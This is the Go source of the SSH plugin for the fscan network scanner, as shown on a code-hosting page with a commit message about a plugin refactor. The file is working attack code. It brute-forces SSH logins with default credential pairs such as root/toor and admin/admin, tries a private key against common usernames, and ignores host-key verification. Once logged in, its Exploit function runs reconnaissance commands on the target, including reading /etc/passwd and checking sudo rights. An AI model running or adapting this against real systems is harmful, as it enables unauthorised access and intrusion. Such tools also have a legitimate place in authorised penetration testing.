fscan/plugins/ssh.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

330 lines
7.9 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package plugins
import (
"context"
"fmt"
"io/ioutil"
"net"
"regexp"
"strings"
"time"
"golang.org/x/crypto/ssh"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
)
// SSHPlugin SSH扫描和利用插件 - 单文件实现,包含真正的利用功能
type SSHPlugin struct {
name string
ports []int
}
// NewSSHPlugin 创建SSH插件
func NewSSHPlugin() *SSHPlugin {
return &SSHPlugin{
name: "ssh",
ports: []int{22, 2222, 2200, 22222},
}
}
// GetName 实现Plugin接口
func (p *SSHPlugin) GetName() string {
return p.name
}
// GetPorts 实现Plugin接口
func (p *SSHPlugin) GetPorts() []int {
return p.ports
}
// Scan 执行SSH扫描 - 支持密码和密钥认证
func (p *SSHPlugin) Scan(ctx context.Context, info *common.HostInfo) *ScanResult {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 如果指定了SSH密钥优先使用密钥认证
if common.SshKeyPath != "" {
if result := p.scanWithKey(ctx, info); result != nil && result.Success {
common.LogSuccess(i18n.GetText("ssh_key_auth_success", target, result.Username))
return result
}
}
// 如果禁用暴力破解,只做服务识别
if common.DisableBrute {
return p.identifyService(info)
}
// 生成测试凭据
credentials := GenerateCredentials("ssh")
if len(credentials) == 0 {
// SSH默认凭据
credentials = []Credential{
{Username: "root", Password: ""},
{Username: "root", Password: "root"},
{Username: "root", Password: "toor"},
{Username: "admin", Password: "admin"},
{Username: "admin", Password: ""},
}
}
// 逐个测试凭据
for _, cred := range credentials {
// 检查Context是否被取消
select {
case <-ctx.Done():
return &ScanResult{
Success: false,
Service: "ssh",
Error: ctx.Err(),
}
default:
}
// 测试凭据
if client := p.testCredential(ctx, info, cred); client != nil {
// SSH认证成功关闭连接
client.Close()
// 记录成功发现弱密码
common.LogSuccess(i18n.GetText("ssh_pwd_auth_success", target, cred.Username, cred.Password))
return &ScanResult{
Success: true,
Service: "ssh",
Username: cred.Username,
Password: cred.Password,
}
}
}
// 所有凭据都失败
return &ScanResult{
Success: false,
Service: "ssh",
Error: fmt.Errorf("未发现弱密码"),
}
}
// Exploit 执行SSH利用操作 - 实现真正的利用功能
func (p *SSHPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds Credential) *ExploitResult {
// 建立SSH连接
client := p.testCredential(ctx, info, creds)
if client == nil {
return &ExploitResult{
Success: false,
Error: fmt.Errorf("SSH连接失败"),
}
}
defer client.Close()
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
common.LogSuccess(fmt.Sprintf("SSH利用开始: %s (用户: %s)", target, creds.Username))
// 执行系统信息收集命令
commands := []string{
"whoami", // 当前用户
"uname -a", // 系统信息
"id", // 用户权限
"pwd", // 当前目录
"ls -la /home", // 用户目录
"cat /etc/passwd | head -10", // 系统用户前10行
}
var output strings.Builder
output.WriteString(fmt.Sprintf("=== SSH利用结果 - %s ===\n", target))
for _, cmd := range commands {
// 检查Context是否被取消
select {
case <-ctx.Done():
return &ExploitResult{
Success: false,
Output: output.String(),
Error: ctx.Err(),
}
default:
}
// 执行命令
result, err := p.executeCommand(client, cmd)
if err != nil {
output.WriteString(fmt.Sprintf("\n[ERROR] %s: %v\n", cmd, err))
} else {
output.WriteString(fmt.Sprintf("\n[CMD] %s\n%s\n", cmd, result))
}
}
// 尝试权限提升检测
sudoCheck, _ := p.executeCommand(client, "sudo -l 2>/dev/null || echo 'sudo not available'")
output.WriteString(fmt.Sprintf("\n[SUDO] 权限检查:\n%s\n", sudoCheck))
common.LogSuccess(fmt.Sprintf("SSH利用完成: %s", target))
return &ExploitResult{
Success: true,
Output: output.String(),
}
}
// scanWithKey 使用SSH私钥扫描
func (p *SSHPlugin) scanWithKey(ctx context.Context, info *common.HostInfo) *ScanResult {
// 读取私钥文件
keyData, err := ioutil.ReadFile(common.SshKeyPath)
if err != nil {
common.LogError(i18n.GetText("ssh_key_read_failed", err))
return nil
}
// 常见的SSH用户名
usernames := common.Userdict["ssh"]
if len(usernames) == 0 {
usernames = []string{"root", "admin", "ubuntu", "centos", "user", "git", "www-data"}
}
// 逐个测试用户名
for _, username := range usernames {
cred := Credential{
Username: username,
KeyData: keyData,
}
if client := p.testCredential(ctx, info, cred); client != nil {
client.Close()
return &ScanResult{
Success: true,
Service: "ssh",
Username: username,
}
}
}
return nil
}
// testCredential 测试单个凭据 - 返回SSH客户端或nil
func (p *SSHPlugin) testCredential(ctx context.Context, info *common.HostInfo, cred Credential) *ssh.Client {
// 创建SSH配置
config := &ssh.ClientConfig{
User: cred.Username,
Timeout: time.Duration(common.Timeout) * time.Second,
HostKeyCallback: ssh.InsecureIgnoreHostKey(), // 忽略主机密钥验证
}
// 设置认证方法
if len(cred.KeyData) > 0 {
// 私钥认证
signer, err := ssh.ParsePrivateKey(cred.KeyData)
if err != nil {
return nil
}
config.Auth = []ssh.AuthMethod{ssh.PublicKeys(signer)}
} else {
// 密码认证
config.Auth = []ssh.AuthMethod{ssh.Password(cred.Password)}
}
// 建立连接
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 使用Context控制超时
type sshResult struct {
client *ssh.Client
err error
}
resultChan := make(chan sshResult, 1)
go func() {
client, err := ssh.Dial("tcp", target, config)
resultChan <- sshResult{client: client, err: err}
}()
select {
case result := <-resultChan:
if result.err != nil {
return nil
}
return result.client
case <-ctx.Done():
return nil
}
}
// executeCommand 在SSH连接上执行命令
func (p *SSHPlugin) executeCommand(client *ssh.Client, cmd string) (string, error) {
session, err := client.NewSession()
if err != nil {
return "", err
}
defer session.Close()
output, err := session.CombinedOutput(cmd)
return string(output), err
}
// identifyService 服务识别 - 不进行暴力破解时的功能
func (p *SSHPlugin) identifyService(info *common.HostInfo) *ScanResult {
target := fmt.Sprintf("%s:%s", info.Host, info.Ports)
// 尝试连接获取SSH Banner
conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
if err != nil {
return &ScanResult{
Success: false,
Service: "ssh",
Error: err,
}
}
defer conn.Close()
// 读取SSH Banner
if banner := p.readSSHBanner(conn); banner != "" {
common.LogSuccess(i18n.GetText("ssh_service_identified", target, banner))
return &ScanResult{
Success: true,
Service: "ssh",
Banner: banner,
}
}
return &ScanResult{
Success: false,
Service: "ssh",
Error: fmt.Errorf("无法识别为SSH服务"),
}
}
// readSSHBanner 读取SSH服务器Banner
func (p *SSHPlugin) readSSHBanner(conn net.Conn) string {
// 设置读取超时
conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second))
// 读取Banner
banner := make([]byte, 256)
n, err := conn.Read(banner)
if err != nil || n < 4 {
return ""
}
bannerStr := strings.TrimSpace(string(banner[:n]))
// 检查SSH协议标识
if strings.HasPrefix(bannerStr, "SSH-") {
// 使用正则表达式解析版本信息
if matched := regexp.MustCompile(`SSH-([0-9.]+)-(.+)`).FindStringSubmatch(bannerStr); len(matched) >= 3 {
protocolVersion := matched[1]
serverVersion := matched[2]
return fmt.Sprintf("SSH %s (%s)", protocolVersion, serverVersion)
}
return fmt.Sprintf("SSH服务: %s", bannerStr)
}
return ""
}
// init 自动注册插件
func init() {
RegisterPlugin("ssh", func() Plugin {
return NewSSHPlugin()
})
}